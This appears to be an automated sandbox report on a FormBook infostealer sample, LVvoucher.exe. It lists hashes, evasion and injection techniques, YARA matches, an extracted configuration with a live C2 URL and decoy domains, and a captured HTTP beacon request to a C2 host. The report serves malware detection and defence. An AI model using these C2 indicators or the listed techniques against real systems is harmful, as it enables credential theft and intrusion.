Windows Analysis Report
LVvoucher.exe

Overview

General Information

Sample Name: LVvoucher.exe
Analysis ID: 562062
MD5: 4f2cf362036af705349843df3419ae5d
SHA1: 49dfd4b26e8c9f2cc76df24c55e6616f438bf422
SHA256: 77604e2646be4fb59a16e33ca5e78a73ec5045b8f1cce6f5ba16c11304b1c2ee
Tags: exeFormbook
Infos:

Detection

FormBook
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected FormBook
Malicious sample detected (through community Yara rule)
Yara detected AntiVM3
System process connects to network (likely due to code injection or exploit)
Antivirus detection for URL or domain
Multi AV Scanner detection for dropped file
Sample uses process hollowing technique
Maps a DLL or memory area into another process
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Sigma detected: Suspicius Add Task From User AppData Temp
Machine Learning detection for sample
Modifies the prolog of user mode functions (user mode inline hooks)
Self deletion via cmd delete
.NET source code contains potential unpacker
Sigma detected: Powershell Defender Exclusion
Queues an APC in another process (thread injection)
Tries to detect virtualization through RDTSC time measurements
Machine Learning detection for dropped file
Sigma detected: CMSTP Execution Process Creation
Modifies the context of a thread in another process (thread injection)
C2 URLs / IPs found in malware configuration
Adds a directory exclusion to Windows Defender
Uses schtasks.exe or at.exe to add and modify task schedules
Uses 32bit PE files
Uses a Windows Living Off The Land Binaries (LOL bins)
Queries the volume information (name, serial number etc) of a device
Yara signature match
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Detected potential crypto function
Found potential string decryption / allocating functions
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
HTTP GET or POST without a user agent
Contains functionality for execution timing, often used to detect debuggers
Contains long sleeps (>= 3 min)
Enables debug privileges
Creates a DirectInput object (often for capturing keystrokes)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Sample file is different than original file name gathered from version info
Drops PE files
Contains functionality to read the PEB
Checks if the current process is being debugged
Found large amount of non-executed APIs
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection
barindex
Found malware configuration
Source: 00000010.00000000.349064396.0000000000400000.00000040.00000400.00020000.00000000.sdmp Malware Configuration Extractor: FormBook {"C2 list": ["www.wwwccsuresults.com/oh75/"], "decoy": ["denizgidam.com", "6cc06.com", "charlottewaldburgzeil.com", "medijanus.com", "qingdaoyiersan.com", "datcabilgisayar.xyz", "111439d.com", "xn--1ruo40k.com", "wu6enxwcx5h3.xyz", "vnscloud.net", "brtka.xyz", "showztime.com", "promocoesdedezenbro.com", "wokpy.com", "chnowuk.online", "rockshotscafe.com", "pelrjy.com", "nato-riness.com", "feixiang-chem.com", "thcoinexchange.com", "fuelrescuereponse.com", "digitaltunic.com", "cellefill.com", "paulbau.com", "camillebeckman.xyz", "ilico-media.com", "603sa.com", "firstechfedcu.com", "koreaglp.com", "thebeardedbrocksblends.com", "musumeya-kotora.com", "tocoteacanada.com", "travelwitharden.com", "diversamenteclinica.com", "bw613.com", "qe46.com", "spectrumelectrolysis.com", "maloyenterprises.com", "inovasyon.xyz", "remijoe.com", "petsgallie.com", "metagiphydownload.online", "tigerdieect.com", "jamedomp.com", "peninsularbottling.com", "1383fx.com", "pandeymasala.online", "spoilnet.com", "itweu.com", "ankxbi.icu", "lm-safe-keepingyuchand92.xyz", "dreamdsjoceo.com", "providentview.com", "newchinafortpayne.com", "wu6bvnrlz4ra.xyz", "intrasvp.com", "ghoul-ambrose.com", "alltenexpress.com", "oniray.com", "sistemaparadrogaria.com", "zeidrei514-nifty.xyz", "excaliburteacher.com", "jennyandsteven.com", "zakcotransportationllc.com"]}
Multi AV Scanner detection for submitted file
Source: LVvoucher.exe Virustotal: Detection: 41% Perma Link
Source: LVvoucher.exe ReversingLabs: Detection: 46%
Yara detected FormBook
Source: Yara match File source: 16.0.LVvoucher.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.0.LVvoucher.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.LVvoucher.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.0.LVvoucher.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.0.LVvoucher.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.LVvoucher.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.0.LVvoucher.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000012.00000000.403013185.0000000007996000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000000.349064396.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000000.349590313.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.421008053.0000000001740000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000000.385192046.0000000007996000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.547341324.0000000002C80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.546977078.0000000002980000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.420898472.0000000001230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.546773415.0000000000560000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.420606554.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.359899155.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Antivirus detection for URL or domain
Source: www.wwwccsuresults.com/oh75/ Avira URL Cloud: Label: malware
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Roaming\UcgxBJ.exe ReversingLabs: Detection: 46%
Machine Learning detection for sample
Source: LVvoucher.exe Joe Sandbox ML: detected
Machine Learning detection for dropped file
Source: C:\Users\user\AppData\Roaming\UcgxBJ.exe Joe Sandbox ML: detected
Antivirus or Machine Learning detection for unpacked file
Source: 16.0.LVvoucher.exe.400000.8.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 16.2.LVvoucher.exe.400000.0.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 16.0.LVvoucher.exe.400000.6.unpack Avira: Label: TR/Crypt.ZPACK.Gen
Source: 16.0.LVvoucher.exe.400000.4.unpack Avira: Label: TR/Crypt.ZPACK.Gen

Compliance
barindex
Uses 32bit PE files
Source: LVvoucher.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Source: LVvoucher.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Source: Binary string: cmstp.pdbGCTL source: LVvoucher.exe, 00000010.00000002.423242531.0000000001C60000.00000040.10000000.00040000.00000000.sdmp
Source: Binary string: C:\Users\Administrator\Desktop\Client\Temp\nOICoDdGmj\src\obj\Debug\CaseInsensitiveHashCodeProvid.pdb source: LVvoucher.exe, UcgxBJ.exe.0.dr
Source: Binary string: wntdll.pdbUGP source: LVvoucher.exe, 00000010.00000002.421332683.000000000189F000.00000040.00000800.00020000.00000000.sdmp, LVvoucher.exe, 00000010.00000003.358753511.00000000015E0000.00000004.00000800.00020000.00000000.sdmp, LVvoucher.exe, 00000010.00000002.421040780.0000000001780000.00000040.00000800.00020000.00000000.sdmp, cmstp.exe, 00000017.00000002.549866914.000000000488F000.00000040.00000800.00020000.00000000.sdmp, cmstp.exe, 00000017.00000002.549751152.0000000004770000.00000040.00000800.00020000.00000000.sdmp, cmstp.exe, 00000017.00000003.422848054.00000000045D0000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: LVvoucher.exe, 00000010.00000002.421332683.000000000189F000.00000040.00000800.00020000.00000000.sdmp, LVvoucher.exe, 00000010.00000003.358753511.00000000015E0000.00000004.00000800.00020000.00000000.sdmp, LVvoucher.exe, 00000010.00000002.421040780.0000000001780000.00000040.00000800.00020000.00000000.sdmp, cmstp.exe, cmstp.exe, 00000017.00000002.549866914.000000000488F000.00000040.00000800.00020000.00000000.sdmp, cmstp.exe, 00000017.00000002.549751152.0000000004770000.00000040.00000800.00020000.00000000.sdmp, cmstp.exe, 00000017.00000003.422848054.00000000045D0000.00000004.00000800.00020000.00000000.sdmp
Source: Binary string: cmstp.pdb source: LVvoucher.exe, 00000010.00000002.423242531.0000000001C60000.00000040.10000000.00040000.00000000.sdmp

Software Vulnerabilities
barindex
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 4x nop then pop esi 16_2_00417319
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 4x nop then pop edi 16_2_00417CFE
Source: C:\Users\user\Desktop\LVvoucher.exe Code function: 4x nop then pop edi 16_2_00417D6B
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 4x nop then pop esi 23_2_02C97319
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 4x nop then pop edi 23_2_02C97CFE
Source: C:\Windows\SysWOW64\cmstp.exe Code function: 4x nop then pop edi 23_2_02C97D6B

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 162.214.116.198 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.sistemaparadrogaria.com
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.wwwccsuresults.com/oh75/
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /oh75/?FXYX=6lNHWfL8rfDPMNDP&q6eTdZlX=iOacuv//8nkeO8ddqiM7nG4ecSv6NmMEEJfIiPKVhzCjN03xI/UIDvMzPThYvy/caBBR HTTP/1.1Host: www.sistemaparadrogaria.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 28 Jan 2022 10:16:22 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: LVvoucher.exe, UcgxBJ.exe.0.dr String found in binary or memory: http://blog.iandreev.com
Source: LVvoucher.exe String found in binary or memory: http://blog.iandreev.com/
Source: LVvoucher.exe, UcgxBJ.exe.0.dr String found in binary or memory: http://blog.iandreev.com/AClick
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://fontfabrik.com
Source: LVvoucher.exe, 00000000.00000002.359511322.0000000002FED000.00000004.00000800.00020000.00000000.sdmp, LVvoucher.exe, 00000000.00000002.359603340.000000000306C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.carterandcone.coml
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/?
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers8
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designers?
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fontbureau.com/designersG
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.fonts.com
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.goodfont.co.kr
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sajatypeworks.com
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sakkal.com
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.sandoll.co.kr
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.tiro.com
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.typography.netD
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.urwpp.deDPlease
Source: LVvoucher.exe, 00000000.00000002.362283776.0000000007042000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.zhongyicts.com.cn
Source: unknown DNS traffic detected: queries for: www.sistemaparadrogaria.com
Source: global traffic HTTP traffic detected: GET /oh75/?FXYX=6lNHWfL8rfDPMNDP&q6eTdZlX=iOacuv//8nkeO8ddqiM7nG4ecSv6NmMEEJfIiPKVhzCjN03xI/UIDvMzPThYvy/caBBR HTTP/1.1Host: www.sistemaparadrogaria.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Creates a DirectInput object (often for capturing keystrokes)
Source: LVvoucher.exe, 00000000.00000002.358875370.00000000013CA000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 16.0.LVvoucher.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.0.LVvoucher.exe.400000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.LVvoucher.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.0.LVvoucher.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.0.LVvoucher.exe.400000.8.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.2.LVvoucher.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 16.0.LVvoucher.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000012.00000000.403013185.0000000007996000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000000.349064396.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000000.349590313.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.421008053.0000000001740000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000000.385192046.0000000007996000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.547341324.0000000002C80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.546977078.0000000002980000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.420898472.0000000001230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.546773415.0000000000560000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000010.00000002.420606554.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.359899155.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 16.0.LVvoucher.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 16.0.LVvoucher.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 16.0.LVvoucher.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 16.0.LVvoucher.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 16.2.LVvoucher.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 16.2.LVvoucher.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 16.0.LVvoucher.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 16.0.LVvoucher.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 16.0.LVvoucher.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 16.0.LVvoucher.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 16.2.LVvoucher.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 16.2.LVvoucher.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 16.0.LVvoucher.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 16.0.LVvoucher.exe.400000.4.unpack, type: UNPACKEDPE Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000012.00000000.403013185.0000000007996000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000012.00000000.403013185.0000000007996000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000010.00000000.349064396.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000010.00000000.349064396.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000010.00000000.349590313.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000010.00000000.349590313.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000010.00000002.421008053.0000000001740000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000010.00000002.421008053.0000000001740000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000012.00000000.385192046.0000000007996000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000012.00000000.385192046.0000000007996000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000017.00000002.547341324.0000000002C80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000017.00000002.547341324.0000000002C80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000017.00000002.546977078.0000000002980000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000017.00000002.546977078.0000000002980000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000010.00000002.420898472.0000000001230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000010.00000002.420898472.0000000001230000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000017.00000002.546773415.0000000000560000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000017.00000002.546773415.0000000000560000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000010.00000002.420606554.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000010.00000002.420606554.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.359899155.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.359899155.0000000003FA9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Uses 32bit PE files
Source: LVvoucher.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Uses a Windows Living Off The Land Binaries (LOL bins)
Source: C:\Windows\explorer.exe Process created: C:\Windows\SysWOW64\cmstp.exe C:\Windows\SysWOW64\cmstp.exe
Yara signature match
Source: 16.0.LVvoucher.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 16.0.LVvoucher.exe.400000.8.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 16.0.LVvoucher.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 16.0.LVvoucher.exe.400000.6.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 16.2.LVvoucher.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 16.2.LVvoucher.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 16.0.LVvoucher.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 16.0.LVvoucher.exe.400000.6.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 16.0.LVvoucher.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 16.0.LVvoucher.exe.400000.8.raw.unpack, type: UNPACKEDPE Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
